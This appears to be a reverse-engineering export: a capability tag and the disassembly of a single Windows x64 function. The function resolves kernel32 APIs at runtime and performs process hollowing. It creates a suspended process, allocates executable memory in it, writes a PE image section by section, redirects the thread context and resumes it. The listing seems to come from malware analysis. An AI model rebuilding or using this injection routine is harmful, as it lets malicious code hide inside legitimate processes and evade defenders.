Function at 0x1400078f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rdi
push r12
sub rsp, 0x1f8
mov rax, qword [0x140018028]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
xorps xmm0, xmm0
xor eax, eax
mov r12, rcx
mov qword [rsp + 0xd0], rax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
test rax, rax
jne 0x14000797c
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000798e
lea rdx, str.GetModuleFileNameA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007991
mov rax, rbx
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call rax
mov rdi, qword [r12]
mov qword [rsp + 0x50], rdi
movsxd rbp, dword [rdi + 0x3c]
add rbp, rdi
cmp dword [rbp], 0x4550
jne 0x140007d8e
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400079e4
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400079f6
lea rdx, str.CreateProcessA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1400079f9
mov rax, rbx
mov rdx, qword [r12 + 8]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x48], rcx
xor r9d, r9d
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call rax
test eax, eax
je 0x140007d8e
lea rcx, str.kernel32.dll
mov qword [rsp + 0x1f0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007a6c
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007a7e
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007a81
mov rax, rbx
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call rax
lea rcx, str.kernel32.dll
mov r15, rax
mov dword [rax + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007ac2
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007ad4
lea rdx, str.GetThreadContext
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007ad7
mov rax, rbx
mov rcx, qword [rsp + 0x60]
mov rdx, r15
call rax
test eax, eax
je 0x140007d86
mov qword [rsp + 0x230], r13
lea rcx, str.kernel32.dll
mov qword [rsp + 0x238], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007b1d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007b2f
lea rdx, str.VirtualAllocEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007b32
mov rax, rbx
mov r8d, dword [rbp + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbp + 0x30]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
call rax
lea rcx, str.kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007b76
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007b88
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007b8b
mov rax, rbx
mov r9d, dword [rbp + 0x54]
mov rdx, r13
mov r8, qword [r12]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rbx
call rax
mov r14d, ebx
cmp bx, word [rbp + 6]
jae 0x140007ca6
mov qword [rsp + 0x228], rsi
mov rsi, rbx
nop word [rax + rax]
movsxd rdi, dword [rdi + 0x3c]
lea rcx, str.kernel32.dll
add rdi, rsi
add rdi, qword [r12]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007bef
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007c01
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007c04
mov rax, rbx
mov r8d, dword [rdi + 0x11c]
mov edx, dword [rdi + 0x114]
add r8, qword [r12]
add rdx, r13
mov r9d, dword [rdi + 0x118]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rbx
call rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007c4f
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007c61
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007c64
mov rax, rbx
mov rdx, qword [r15 + 0x88]
lea r8, [rbp + 0x30]
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call rax
movzx eax, word [rbp + 6]
inc r14d
mov rdi, qword [rsp + 0x50]
add rsi, 0x28
cmp r14d, eax
jl 0x140007bc0
mov rsi, qword [rsp + 0x228]
mov eax, dword [rbp + 0x28]
lea rcx, str.kernel32.dll
add rax, r13
mov qword [r15 + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, qword [rsp + 0x238]
mov r13, qword [rsp + 0x230]
test rax, rax
jne 0x140007ce7
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007cf9
lea rdx, str.SetThreadContext
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007cfc
mov rax, rbx
mov rcx, qword [rsp + 0x60]
mov rdx, r15
call rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007d2a
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007d3c
lea rdx, str.ResumeThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140007d3f
mov rax, rbx
mov rcx, qword [rsp + 0x60]
call rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140007d6a
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140007d7d
lea rdx, [0x140011ad8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, qword [rsp + 0x58]
xor edx, edx
call rbx
mov r15, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.14000e680
add rsp, 0x1f8
pop r12
pop rdi
pop rbp
pop rbx
ret